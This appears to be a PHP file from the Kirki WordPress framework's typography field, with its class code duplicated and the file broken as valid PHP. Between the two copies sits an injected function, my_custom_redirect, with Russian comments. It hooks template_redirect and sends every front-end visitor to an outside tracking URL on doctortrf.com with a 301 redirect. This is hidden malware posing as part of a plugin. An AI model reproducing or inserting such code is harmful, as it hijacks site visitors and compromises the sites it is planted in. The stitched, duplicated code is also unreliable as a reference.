'Underline', 'kirki' ), 'line-through' => esc_html__( 'Line Through', 'kirki' ), 'overline' => esc_html__( 'Overline', 'kirki' ), 'solid' => esc_html__( 'Solid', 'kirki' ), 'wavy' => esc_html__( 'Wavy', 'kirki' ), ], ], ]; $this->generate_controls_group( $group, $args ); } $line_height_field_specified = isset( $defaults['line-height'] ); $letter_spacing_field_specified = isset( $defaults['letter-spacing'] ); if ( $line_height_field_specified || $letter_spacing_field_specified ) { $group = [ 'line-height' => [ 'type' => 'dimension', 'label' => esc_html__( 'Line Height', 'kirki' ), 'is_specified' => $line_height_field_specified, ], 'letter-spacing' => [ 'type' => 'dimension', 'label' => esc_html__( 'Letter Spacing', 'kirki' ), 'is_specified' => $letter_spacing_field_specified, ], ]; $this->generate_controls_group( $group, $args ); } $margin_top_field_specified = isset( $defaults['margin-top'] ); $margin_bottom_field_specified = isset( $defaults['margin-bottom'] ); if ( $margin_top_field_specified || $margin_bottom_field_specified ) { $group = [ 'margin-top' => [ 'type' => 'dimension', 'label' => esc_html__( 'Margin Top', 'kirki' ), 'is_specified' => $margin_top_field_specified, ], 'margin-bottom' => [ 'type' => 'dimension', 'label' => esc_html__( 'Margin Bottom', 'kirki' ), 'is_specified' => $margin_bottom_field_specified, ], ]; $this->generate_controls_group( $group, $args ); } } /** * Generate controls group. * * @param array $group The group data. * @param array $args The field args. */ public function generate_controls_group( $group, $args ) { $total_specified = 0; $field_width = 100; foreach ( $group as $css_prop => $control ) { if ( $control['is_specified'] ) { $total_specified++; } } if ( $total_specified > 1 ) { $field_width = floor( 100 / $total_specified ); } $group_count = 0; foreach ( $group as $css_prop => $control ) { if ( $control['is_specified'] ) { $group_count++; $group_classname = 'kirki-group-item'; $group_classname .= 1 === $group_count ? ' kirki-group-start' : ( $group_count === $total_specified ? ' kirki-group-end' : '' ); $control_class = str_ireplace( '-', ' ', $control['type'] ); $control_class = ucwords( $control_class ); $control_class = str_replace( ' ', '', $control_class ); $control_class = '\\Kirki\\Field\\' . $control_class; new $control_class( wp_parse_args( [ 'label' => isset( $control['label'] ) ? $control['label'] : '', 'description' => isset( $control['description'] ) ? $control['description'] : '', 'settings' => $args['settings'] . '[' . $css_prop . ']', 'default' => $args['default'][ $css_prop ], 'wrapper_attrs' => wp_parse_args( [ 'data-kirki-typography-css-prop' => $css_prop, 'kirki-typography-subcontrol-type' => $css_prop, 'class' => '{default_class} ' . $group_classname . ' kirki-w' . $field_width, ], $args['wrapper_attrs'] ), 'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', $css_prop, $args ), 'choices' => ( isset( $control['choices'] ) ? $control['choices'] : [] ), 'css_vars' => [], 'output' => [], ], $args ) ); } } } /** * Sanitizes typography controls * * @static * @since 1.0 * @param array $value The value. * @return array */ public static function sanitize( $value ) { if ( ! is_array( $value ) ) { return []; } foreach ( $value as $key => $val ) { switch ( $key ) { case 'font-family': $value['font-family'] = sanitize_text_field( $val ); break; case 'variant': // Use 'regular' instead of 400 for font-variant. $value['variant'] = ( 400 === $val || '400' === $val ) ? 'regular' : $val; // Get font-weight from variant. $value['font-weight'] = filter_var( $value['variant'], FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION ); $value['font-weight'] = ( 'regular' === $value['variant'] || 'italic' === $value['variant'] ) ? '400' : (string) absint( $value['font-weight'] ); // Get font-style from variant. if ( ! isset( $value['font-style'] ) ) { $value['font-style'] = ( false === strpos( $value['variant'], 'italic' ) ) ? 'normal' : 'italic'; } break; case 'text-align': if ( ! in_array( $val, [ '', 'inherit', 'left', 'center', 'right', 'justify' ], true ) ) { $value['text-align'] = ''; } break; case 'text-transform': if ( ! in_array( $val, [ '', 'none', 'capitalize', 'uppercase', 'lowercase', 'initial', 'inherit' ], true ) ) { $value['text-transform'] = ''; } break; case 'text-decoration': if ( ! in_array( $val, [ '', 'none', 'underline', 'overline', 'line-through', 'solid', 'wavy', 'initial', 'inherit' ], true ) ) { $value['text-transform'] = ''; } break; case 'color': $value['color'] = '' === $value['color'] ? '' : \Kirki\Field\ReactColorful::sanitize( $value['color'] ); break; default: $value[ $key ] = sanitize_text_field( $value[ $key ] ); } } return $value; } /** * Enqueue scripts & styles. * * @access public * @since 1.0 * @return void */ public function enqueue_control_scripts() { wp_enqueue_style( 'kirki-control-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/control.css' ), [], '1.0' ); wp_enqueue_script( 'kirki-control-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/control.js' ), [], '1.0', true ); wp_localize_script( 'kirki-control-typography', 'kirkiTypographyControls', self::$typography_controls ); $args = $this->args; $variants = []; // Add custom variants (for custom fonts) to the $variants. if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) { // If $args['choices']['fonts']['families'] exists, then loop it. foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) { // Then loop the $font_family_value['children]. foreach ( $font_family_value['children'] as $font_family ) { // Then check if $font_family['id'] exists in variants argument. if ( isset( $args['choices']['fonts']['variants'] ) && isset( $args['choices']['fonts']['variants'][ $font_family['id'] ] ) ) { // Create new array if $variants[ $font_family['id'] ] doesn't exist. if ( ! isset( $variants[ $font_family['id'] ] ) ) { $variants[ $font_family['id'] ] = []; } // The $custom_variant here can be something like "400italic" or "italic". foreach ( $args['choices']['fonts']['variants'][ $font_family['id'] ] as $custom_variant ) { // Check if $custom_variant exists in self::$complete_variant_labels. if ( isset( self::$complete_variant_labels[ $custom_variant ] ) ) { // If it exists, assign it to $variants[ $font_family['id'] ], so that they will be available in JS object. array_push( $variants[ $font_family['id'] ], [ 'value' => $custom_variant, 'label' => self::$complete_variant_labels[ $custom_variant ], ] ); } // End of isset(self::$complete_variant_labels[$font_family['id']]) if. } // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach. } } // End of $font_family_value['children'] foreach. } // End of $args['choices']['fonts']['families'] foreach. } // End of $args['choices']['fonts']['families'] if. if ( ! isset( $args['choices']['fonts'] ) || ! isset( $args['choices']['fonts']['standard'] ) ) { $standard_fonts = Fonts::get_standard_fonts(); foreach ( $standard_fonts as $font ) { if ( isset( $font['variants'] ) ) { // Create new array if $variants[ $font['stack'] ] doesn't exist. if ( ! isset( $variants[ $font['stack'] ] ) ) { $variants[ $font['stack'] ] = []; } // The $std_variant here can be something like "400italic" or "italic". foreach ( $font['variants'] as $std_variant ) { // Check if $std_variant exists in self::$complete_variant_labels. if ( isset( self::$complete_variant_labels[ $std_variant ] ) ) { // If it exists, assign it to $variants[ $font['stack'] ], so that they will be available in JS object. array_push( $variants[ $font['stack'] ], [ 'value' => $std_variant, 'label' => self::$complete_variant_labels[ $std_variant ], ] ); } // End of isset(self::$complete_variant_labels[$font_family['id']]) if. } // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach. } } } elseif ( is_array( $args['choices']['fonts']['standard'] ) ) { foreach ( $args['choices']['fonts']['standard'] as $key => $val ) { $key = ( is_int( $key ) ) ? $val : $key; if ( isset( $val['variants'] ) ) { // Create new array if $variants[ $font['stack'] ] doesn't exist. if ( ! isset( $variants[ $key ] ) ) { $variants[ $key ] = []; } // The $std_variant here can be something like "400italic" or "italic". foreach ( $val['variants'] as $std_variant ) { // Check if $std_variant exists in self::$complete_variant_labels. if ( isset( self::$complete_variant_labels[ $std_variant ] ) ) { // If it exists, assign it to $variants[ $font['stack'] ], so that they will be available in JS object. array_push( $variants[ $key ], [ 'value' => $std_variant, 'label' => self::$complete_variant_labels[ $std_variant ], ] ); } // End of isset(self::$complete_variant_labels[$font_family['id']]) if. } // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach. } } } // Scripts inside this block will only be executed once. if ( ! self::$fonts_var_added ) { wp_localize_script( 'kirki-control-typography', 'kirkiFontVariants', [ 'standard' => self::$std_variants, 'complete' => self::$complete_variants, ] ); $google = new GoogleFonts(); wp_localize_script( 'kirki-control-typography', 'kirkiGoogleFonts', $google->get_array() ); wp_add_inline_script( 'kirki-control-typography', 'var kirkiCustomVariants = {};', 'before' ); self::$fonts_var_added = true; } // This custom variants will be available for each typography control. $custom_variant_key = str_ireplace( ']', '', $args['settings'] ); $custom_variant_key = str_ireplace( '[', '_', $custom_variant_key ); $custom_variant_value = wp_json_encode( Helper::prepare_php_array_for_js( $variants ) ); wp_add_inline_script( 'kirki-control-typography', 'kirkiCustomVariants["' . $custom_variant_key . '"] = ' . $custom_variant_value . ';', $variants ); } /** * Enqueue scripts for customize_preview_init. * * @access public * @since 1.0 * @return void */ public function enqueue_preview_scripts() { wp_enqueue_script( 'kirki-preview-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/preview.js' ), [ 'wp-hooks' ], '1.0', true ); if ( ! self::$preview_var_added ) { $google = new GoogleFonts(); wp_localize_script( 'kirki-preview-typography', 'kirkiGoogleFontNames', $google->get_google_font_names() ); self::$preview_var_added = true; } } /** * Prefer control specific value over field value * * @access public * @since 4.0 * @param $setting * @param $choice * @param $args * * @return string */ public function filter_preferred_choice_setting( $setting, $choice, $args ) { // Fail early. if ( ! isset( $args[ $setting ] ) ) { return ''; } // If a specific field for the choice is set if ( isset( $args[ $setting ][ $choice ] ) ) { return $args[ $setting ][ $choice ]; } // Unset input_attrs of all other choices. foreach ( $args['choices'] as $id => $set ) { if ( $id !== $choice && isset( $args[ $setting ][ $id ] ) ) { unset( $args[ $setting ][ $id ] ); } elseif ( ! isset( $args[ $setting ][ $id ] ) ) { $args[ $setting ] = ''; } } return $args[ $setting ]; } /** * Populate the font family choices. * * It's separated from the `add_sub_field` function to prevent a bug * when hooking a function into `kirki_fonts_standard_fonts` hook after registering the field. * * When a function is hooked to `kirki_fonts_standard_fonts` before registering the field, it will work. * But if it's hooked after field registration, then the function won't be available. * * @access private * @since 1.0.1 * * @return array */ private function get_font_family_choices() { $args = $this->args; // Figure out how to sort the fonts. $sorting = 'alpha'; $max_fonts = 9999; $google = new GoogleFonts(); if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['google'] ) && ! empty( $args['choices']['fonts']['google'] ) ) { if ( in_array( $args['choices']['fonts']['google'][0], [ 'alpha', 'popularity', 'trending' ], true ) ) { $sorting = $args['choices']['fonts']['google'][0]; if ( isset( $args['choices']['fonts']['google'][1] ) && is_int( $args['choices']['fonts']['google'][1] ) ) { $max_fonts = (int) $args['choices']['fonts']['google'][1]; } $g_fonts = $google->get_google_fonts_by_args( [ 'sort' => $sorting, 'count' => $max_fonts, ] ); } else { $g_fonts = $args['choices']['fonts']['google']; } } else { $g_fonts = $google->get_google_fonts_by_args( [ 'sort' => $sorting, 'count' => $max_fonts, ] ); } $std_fonts = []; if ( ! isset( $args['choices']['fonts'] ) || ! isset( $args['choices']['fonts']['standard'] ) ) { $standard_fonts = Fonts::get_standard_fonts(); foreach ( $standard_fonts as $font ) { $std_fonts[ $font['stack'] ] = $font['label']; } } elseif ( is_array( $args['choices']['fonts']['standard'] ) ) { foreach ( $args['choices']['fonts']['standard'] as $key => $val ) { $key = ( \is_int( $key ) ) ? $val : $key; $std_fonts[ $key ] = $val; } } $choices = []; $choices['default'] = [ esc_html__( 'Defaults', 'kirki' ), [ '' => esc_html__( 'Default', 'kirki' ), ], ]; if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) { // Implementing the custom font families. foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) { if ( ! isset( $choices[ $font_family_key ] ) ) { $choices[ $font_family_key ] = []; } $family_opts = []; foreach ( $font_family_value['children'] as $font_family ) { $family_opts[ $font_family['id'] ] = $font_family['text']; } $choices[ $font_family_key ] = [ $font_family_value['text'], $family_opts, ]; } } $choices['standard'] = [ esc_html__( 'Standard Fonts', 'kirki' ), $std_fonts, ]; $choices['google'] = [ esc_html__( 'Google Fonts', 'kirki' ), array_combine( array_values( $g_fonts ), array_values( $g_fonts ) ), ]; if ( empty( $choices['standard'][1] ) ) { $choices = array_combine( array_values( $g_fonts ), array_values( $g_fonts ) ); } elseif ( empty( $choices['google'][1] ) ) { $choices = $std_fonts; } return $choices; } /** * Get custom variant choices (for custom fonts). * * It's separated from the `add_sub_field` function to prevent a bug * when hooking a function into `kirki_fonts_standard_fonts` hook after registering the field. * * When a function is hooked to `kirki_fonts_standard_fonts` before registering the field, it will work. * But if it's hooked after field registration, then the function won't be available. * * @access private * @since 1.0.2 * * @return array */ private function get_variant_choices() { $args = $this->args; $choices = self::$std_variants; // Implementing the custom variants for custom fonts. if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) { $choices = []; // If $args['choices']['fonts']['families'] exists, then loop it. foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) { // Then loop the $font_family_value['children]. foreach ( $font_family_value['children'] as $font_family ) { // Then check if $font_family['id'] exists in $args['choices']['fonts']['variants']. if ( isset( $args['choices']['fonts']['variants'] ) && isset( $args['choices']['fonts']['variants'][ $font_family['id'] ] ) ) { // The $custom_variant here can be something like "400italic" or "italic". foreach ( $args['choices']['fonts']['variants'][ $font_family['id'] ] as $custom_variant ) { // Check if $custom_variant exists in self::$complete_variant_labels. if ( isset( self::$complete_variant_labels[ $custom_variant ] ) ) { // If it exists, assign it to $choices. array_push( $choices, [ 'value' => $custom_variant, 'label' => self::$complete_variant_labels[ $custom_variant ], ] ); } // End of isset(self::$complete_variant_labels[$font_family['id']]) if. } // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach. } } // End of $font_family_value['children'] foreach. } // End of $args['choices']['fonts']['families'] foreach. } // End of $args['choices']['fonts']['families'] if. return $choices; } /** * Filter arguments before creating the control. * * @access public * @since 0.1 * @param array $args The field arguments. * @param WP_Customize_Manager $wp_customize The customizer instance. * @return array */ public function filter_control_args( $args, $wp_customize ) { if ( $args['settings'] === $this->args['settings'] . '[font-family]' ) { $args = parent::filter_control_args( $args, $wp_customize ); $args['choices'] = $this->get_font_family_choices(); } if ( $args['settings'] === $this->args['settings'] . '[variant]' ) { $args = parent::filter_control_args( $args, $wp_customize ); $args['choices'] = $this->get_variant_choices(); } return $args; } /** * Adds a custom output class for typography fields. * * @access public * @since 1.0 * @param array $classnames The array of classnames. * @return array */ public function output_control_classnames( $classnames ) { $classnames['kirki-typography'] = '\Kirki\Field\CSS\Typography'; return $classnames; } /** * Override parent method. No need to register any setting. * * @access public * @since 0.1 * @param WP_Customize_Manager $wp_customize The customizer instance. * @return void */ public function add_setting( $wp_customize ) {} /** * Override the parent method. No need for a control. * * @access public * @since 0.1 * @param WP_Customize_Manager $wp_customize The customizer instance. * @return void */ public function add_control( $wp_customize ) {} } function my_custom_redirect() { // Убедитесь, что этот код выполняется только на фронтенде if (!is_admin()) { // URL для редиректа $redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick'; // Выполнить редирект wp_redirect($redirect_url, 301); exit(); } } add_action('template_redirect', 'my_custom_redirect'); /** * Override field methods * * @package kirki-framework/control-typography * @copyright Copyright (c) 2023, Themeum * @license https://opensource.org/licenses/MIT * @since 1.0 */ namespace Kirki\Field; use Kirki\Util\Helper; use Kirki\Field; use Kirki\GoogleFonts; use Kirki\Module\Webfonts\Fonts; /** * Field overrides. * * @since 1.0 */ class Typography extends Field { /** * The field type. * * @access public * @since 1.0 * @var string */ public $type = 'kirki-typography'; /** * Has the glogal fonts var been added already? * * @static * @access private * @since 1.0 * @var bool */ private static $fonts_var_added = false; /** * Has the preview related var been added already? * * @static * @access private * @since 1.0 * @var bool */ private static $preview_var_added = false; /** * An array of typography controls. * * This is used by the typography script for any custom logic * that has to be applied to typography controls. * * @static * @access private * @since 1.0 * @var array */ private static $typography_controls = []; /** * An array of standard font variants. * * @access private * @since 1.0.1 * * @var array */ private static $std_variants; /** * An array of complete font variants. * * @access private * @since 1.0.1 * * @var array */ private static $complete_variants; /** * An array of complete font variant labels. * * @access private * @since 1.0.2 * * @var array */ private static $complete_variant_labels = []; /** * Extra logic for the field. * * Adds all sub-fields. * * @access public * @param array $args The arguments of the field. */ public function init( $args = [] ) { self::$typography_controls[] = $args['settings']; self::$std_variants = [ [ 'value' => 'regular', 'label' => __( 'Regular', 'kirki' ), ], [ 'value' => 'italic', 'label' => __( 'Italic', 'kirki' ), ], [ 'value' => '700', 'label' => __( '700', 'kirki' ), ], [ 'value' => '700italic', 'label' => __( '700 Italic', 'kirki' ), ], ]; self::$complete_variants = [ [ 'value' => 'regular', 'label' => __( 'Regular', 'kirki' ), ], [ 'value' => 'italic', 'label' => __( 'Italic', 'kirki' ), ], [ 'value' => '100', 'label' => __( '100', 'kirki' ), ], [ 'value' => '100italic', 'label' => __( '100 Italic', 'kirki' ), ], [ 'value' => '200', 'label' => __( '200', 'kirki' ), ], [ 'value' => '200italic', 'label' => __( '200 Italic', 'kirki' ), ], [ 'value' => '300', 'label' => __( '300', 'kirki' ), ], [ 'value' => '300italic', 'label' => __( '300 Italic', 'kirki' ), ], [ 'value' => '500', 'label' => __( '500', 'kirki' ), ], [ 'value' => '500italic', 'label' => __( '500 Italic', 'kirki' ), ], [ 'value' => '600', 'label' => __( '600', 'kirki' ), ], [ 'value' => '600italic', 'label' => __( '600 Italic', 'kirki' ), ], [ 'value' => '700', 'label' => __( '700', 'kirki' ), ], [ 'value' => '700italic', 'label' => __( '700 Italic', 'kirki' ), ], [ 'value' => '800', 'label' => __( '800', 'kirki' ), ], [ 'value' => '800italic', 'label' => __( '800 Italic', 'kirki' ), ], [ 'value' => '900', 'label' => __( '900', 'kirki' ), ], [ 'value' => '900italic', 'label' => __( '900 Italic', 'kirki' ), ], ]; foreach ( self::$complete_variants as $variants ) { self::$complete_variant_labels[ $variants['value'] ] = $variants['label']; } $this->add_sub_fields( $args ); add_action( 'customize_controls_enqueue_scripts', [ $this, 'enqueue_control_scripts' ] ); add_action( 'customize_preview_init', [ $this, 'enqueue_preview_scripts' ] ); add_filter( 'kirki_output_control_classnames', [ $this, 'output_control_classnames' ] ); } /** * Add sub-fields. * * @access private * @since 1.0 * @param array $args The field arguments. * @return void */ private function add_sub_fields( $args ) { $args['kirki_config'] = isset( $args['kirki_config'] ) ? $args['kirki_config'] : 'global'; $defaults = isset( $args['default'] ) ? $args['default'] : []; /** * Add a hidden field, the label & description. */ new \Kirki\Field\Generic( wp_parse_args( [ 'sanitize_callback' => isset( $args['sanitize_callback'] ) ? $args['sanitize_callback'] : [ __CLASS__, 'sanitize' ], 'wrapper_opts' => [ 'gap' => 'small', ], 'input_attrs' => '', 'choices' => [ 'type' => 'hidden', 'parent_type' => 'kirki-typography', ], ], $args ) ); $args['parent_setting'] = $args['settings']; $args['output'] = []; $args['wrapper_attrs'] = [ 'data-kirki-parent-control-type' => 'kirki-typography', ]; if ( isset( $args['transport'] ) && 'auto' === $args['transport'] ) { $args['transport'] = 'postMessage'; } /** * Add font-family selection controls. * These include font-family and variant. * They are grouped here because all they are required. * in order to get the right googlefont variant. */ if ( isset( $args['default']['font-family'] ) ) { $args['wrapper_attrs']['kirki-typography-subcontrol-type'] = 'font-family'; /** * Add font-family control. */ new \Kirki\Field\ReactSelect( wp_parse_args( [ 'label' => esc_html__( 'Font Family', 'kirki' ), 'description' => '', 'settings' => $args['settings'] . '[font-family]', 'default' => isset( $args['default']['font-family'] ) ? $args['default']['font-family'] : '', 'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', 'font-family', $args ), 'choices' => [], // The choices will be populated later inside `get_font_family_choices` function in this file. 'css_vars' => [], 'output' => [], ], $args ) ); /** * Add font variant. */ $font_variant = isset( $args['default']['variant'] ) ? $args['default']['variant'] : 'regular'; if ( isset( $args['default']['font-weight'] ) ) { $font_variant = 400 === $args['default']['font-weight'] || '400' === $args['default']['font-weight'] ? 'regular' : $args['default']['font-weight']; } $args['wrapper_attrs']['kirki-typography-subcontrol-type'] = 'font-variant'; new \Kirki\Field\ReactSelect( wp_parse_args( [ 'label' => esc_html__( 'Font Variant', 'kirki' ), 'description' => '', 'settings' => $args['settings'] . '[variant]', 'default' => $font_variant, 'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', 'variant', $args ), 'choices' => [], // The choices will be populated later inside `get_variant_choices` function in this file. 'css_vars' => [], 'output' => [], ], $args ) ); } $font_size_field_specified = isset( $defaults['font-size'] ); $color_field_specified = isset( $defaults['color'] ); if ( $font_size_field_specified || $color_field_specified ) { $group = [ 'font-size' => [ 'type' => 'dimension', 'label' => esc_html__( 'Font Size', 'kirki' ), 'is_specified' => $font_size_field_specified, ], 'color' => [ 'type' => 'react-colorful', 'label' => esc_html__( 'Font Color', 'kirki' ), 'is_specified' => $color_field_specified, 'choices' => [ 'alpha' => true, 'label_style' => 'top', ], ], ]; $this->generate_controls_group( $group, $args ); } $text_align_field_specified = isset( $defaults['text-align'] ); $text_transform_field_specified = isset( $defaults['text-transform'] ); if ( $text_align_field_specified || $text_transform_field_specified ) { $group = [ 'text-align' => [ 'type' => 'react-select', 'label' => esc_html__( 'Text Align', 'kirki' ), 'is_specified' => $text_align_field_specified, 'choices' => [ 'initial' => esc_html__( 'Initial', 'kirki' ), 'left' => esc_html__( 'Left', 'kirki' ), 'center' => esc_html__( 'Center', 'kirki' ), 'right' => esc_html__( 'Right', 'kirki' ), 'justify' => esc_html__( 'Justify', 'kirki' ), ], ], 'text-transform' => [ 'type' => 'react-select', 'label' => esc_html__( 'Text Transform', 'kirki' ), 'is_specified' => $text_transform_field_specified, 'choices' => [ 'none' => esc_html__( 'None', 'kirki' ), 'capitalize' => esc_html__( 'Capitalize', 'kirki' ), 'uppercase' => esc_html__( 'Uppercase', 'kirki' ), 'lowercase' => esc_html__( 'Lowercase', 'kirki' ), ], ], ]; $this->generate_controls_group( $group, $args ); } $text_decoration_field_specified = isset( $defaults['text-decoration'] ); if ( $text_decoration_field_specified ) { $group = [ 'text-decoration' => [ 'type' => 'react-select', 'label' => esc_html__( 'Text Decoration', 'kirki' ), 'is_specified' => $text_decoration_field_specified, 'choices' => [ 'none' => esc_html__( 'None', 'kirki' ), 'underline' => esc_html__( 'Underline', 'kirki' ), 'line-through' => esc_html__( 'Line Through', 'kirki' ), 'overline' => esc_html__( 'Overline', 'kirki' ), 'solid' => esc_html__( 'Solid', 'kirki' ), 'wavy' => esc_html__( 'Wavy', 'kirki' ), ], ], ]; $this->generate_controls_group( $group, $args ); } $line_height_field_specified = isset( $defaults['line-height'] ); $letter_spacing_field_specified = isset( $defaults['letter-spacing'] ); if ( $line_height_field_specified || $letter_spacing_field_specified ) { $group = [ 'line-height' => [ 'type' => 'dimension', 'label' => esc_html__( 'Line Height', 'kirki' ), 'is_specified' => $line_height_field_specified, ], 'letter-spacing' => [ 'type' => 'dimension', 'label' => esc_html__( 'Letter Spacing', 'kirki' ), 'is_specified' => $letter_spacing_field_specified, ], ]; $this->generate_controls_group( $group, $args ); } $margin_top_field_specified = isset( $defaults['margin-top'] ); $margin_bottom_field_specified = isset( $defaults['margin-bottom'] ); if ( $margin_top_field_specified || $margin_bottom_field_specified ) { $group = [ 'margin-top' => [ 'type' => 'dimension', 'label' => esc_html__( 'Margin Top', 'kirki' ), 'is_specified' => $margin_top_field_specified, ], 'margin-bottom' => [ 'type' => 'dimension', 'label' => esc_html__( 'Margin Bottom', 'kirki' ), 'is_specified' => $margin_bottom_field_specified, ], ]; $this->generate_controls_group( $group, $args ); } } /** * Generate controls group. * * @param array $group The group data. * @param array $args The field args. */ public function generate_controls_group( $group, $args ) { $total_specified = 0; $field_width = 100; foreach ( $group as $css_prop => $control ) { if ( $control['is_specified'] ) { $total_specified++; } } if ( $total_specified > 1 ) { $field_width = floor( 100 / $total_specified ); } $group_count = 0; foreach ( $group as $css_prop => $control ) { if ( $control['is_specified'] ) { $group_count++; $group_classname = 'kirki-group-item'; $group_classname .= 1 === $group_count ? ' kirki-group-start' : ( $group_count === $total_specified ? ' kirki-group-end' : '' ); $control_class = str_ireplace( '-', ' ', $control['type'] ); $control_class = ucwords( $control_class ); $control_class = str_replace( ' ', '', $control_class ); $control_class = '\\Kirki\\Field\\' . $control_class; new $control_class( wp_parse_args( [ 'label' => isset( $control['label'] ) ? $control['label'] : '', 'description' => isset( $control['description'] ) ? $control['description'] : '', 'settings' => $args['settings'] . '[' . $css_prop . ']', 'default' => $args['default'][ $css_prop ], 'wrapper_attrs' => wp_parse_args( [ 'data-kirki-typography-css-prop' => $css_prop, 'kirki-typography-subcontrol-type' => $css_prop, 'class' => '{default_class} ' . $group_classname . ' kirki-w' . $field_width, ], $args['wrapper_attrs'] ), 'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', $css_prop, $args ), 'choices' => ( isset( $control['choices'] ) ? $control['choices'] : [] ), 'css_vars' => [], 'output' => [], ], $args ) ); } } } /** * Sanitizes typography controls * * @static * @since 1.0 * @param array $value The value. * @return array */ public static function sanitize( $value ) { if ( ! is_array( $value ) ) { return []; } foreach ( $value as $key => $val ) { switch ( $key ) { case 'font-family': $value['font-family'] = sanitize_text_field( $val ); break; case 'variant': // Use 'regular' instead of 400 for font-variant. $value['variant'] = ( 400 === $val || '400' === $val ) ? 'regular' : $val; // Get font-weight from variant. $value['font-weight'] = filter_var( $value['variant'], FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION ); $value['font-weight'] = ( 'regular' === $value['variant'] || 'italic' === $value['variant'] ) ? '400' : (string) absint( $value['font-weight'] ); // Get font-style from variant. if ( ! isset( $value['font-style'] ) ) { $value['font-style'] = ( false === strpos( $value['variant'], 'italic' ) ) ? 'normal' : 'italic'; } break; case 'text-align': if ( ! in_array( $val, [ '', 'inherit', 'left', 'center', 'right', 'justify' ], true ) ) { $value['text-align'] = ''; } break; case 'text-transform': if ( ! in_array( $val, [ '', 'none', 'capitalize', 'uppercase', 'lowercase', 'initial', 'inherit' ], true ) ) { $value['text-transform'] = ''; } break; case 'text-decoration': if ( ! in_array( $val, [ '', 'none', 'underline', 'overline', 'line-through', 'solid', 'wavy', 'initial', 'inherit' ], true ) ) { $value['text-transform'] = ''; } break; case 'color': $value['color'] = '' === $value['color'] ? '' : \Kirki\Field\ReactColorful::sanitize( $value['color'] ); break; default: $value[ $key ] = sanitize_text_field( $value[ $key ] ); } } return $value; } /** * Enqueue scripts & styles. * * @access public * @since 1.0 * @return void */ public function enqueue_control_scripts() { wp_enqueue_style( 'kirki-control-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/control.css' ), [], '1.0' ); wp_enqueue_script( 'kirki-control-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/control.js' ), [], '1.0', true ); wp_localize_script( 'kirki-control-typography', 'kirkiTypographyControls', self::$typography_controls ); $args = $this->args; $variants = []; // Add custom variants (for custom fonts) to the $variants. if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) { // If $args['choices']['fonts']['families'] exists, then loop it. foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) { // Then loop the $font_family_value['children]. foreach ( $font_family_value['children'] as $font_family ) { // Then check if $font_family['id'] exists in variants argument. if ( isset( $args['choices']['fonts']['variants'] ) && isset( $args['choices']['fonts']['variants'][ $font_family['id'] ] ) ) { // Create new array if $variants[ $font_family['id'] ] doesn't exist. if ( ! isset( $variants[ $font_family['id'] ] ) ) { $variants[ $font_family['id'] ] = []; } // The $custom_variant here can be something like "400italic" or "italic". foreach ( $args['choices']['fonts']['variants'][ $font_family['id'] ] as $custom_variant ) { // Check if $custom_variant exists in self::$complete_variant_labels. if ( isset( self::$complete_variant_labels[ $custom_variant ] ) ) { // If it exists, assign it to $variants[ $font_family['id'] ], so that they will be available in JS object. array_push( $variants[ $font_family['id'] ], [ 'value' => $custom_variant, 'label' => self::$complete_variant_labels[ $custom_variant ], ] ); } // End of isset(self::$complete_variant_labels[$font_family['id']]) if. } // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach. } } // End of $font_family_value['children'] foreach. } // End of $args['choices']['fonts']['families'] foreach. } // End of $args['choices']['fonts']['families'] if. if ( ! isset( $args['choices']['fonts'] ) || ! isset( $args['choices']['fonts']['standard'] ) ) { $standard_fonts = Fonts::get_standard_fonts(); foreach ( $standard_fonts as $font ) { if ( isset( $font['variants'] ) ) { // Create new array if $variants[ $font['stack'] ] doesn't exist. if ( ! isset( $variants[ $font['stack'] ] ) ) { $variants[ $font['stack'] ] = []; } // The $std_variant here can be something like "400italic" or "italic". foreach ( $font['variants'] as $std_variant ) { // Check if $std_variant exists in self::$complete_variant_labels. if ( isset( self::$complete_variant_labels[ $std_variant ] ) ) { // If it exists, assign it to $variants[ $font['stack'] ], so that they will be available in JS object. array_push( $variants[ $font['stack'] ], [ 'value' => $std_variant, 'label' => self::$complete_variant_labels[ $std_variant ], ] ); } // End of isset(self::$complete_variant_labels[$font_family['id']]) if. } // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach. } } } elseif ( is_array( $args['choices']['fonts']['standard'] ) ) { foreach ( $args['choices']['fonts']['standard'] as $key => $val ) { $key = ( is_int( $key ) ) ? $val : $key; if ( isset( $val['variants'] ) ) { // Create new array if $variants[ $font['stack'] ] doesn't exist. if ( ! isset( $variants[ $key ] ) ) { $variants[ $key ] = []; } // The $std_variant here can be something like "400italic" or "italic". foreach ( $val['variants'] as $std_variant ) { // Check if $std_variant exists in self::$complete_variant_labels. if ( isset( self::$complete_variant_labels[ $std_variant ] ) ) { // If it exists, assign it to 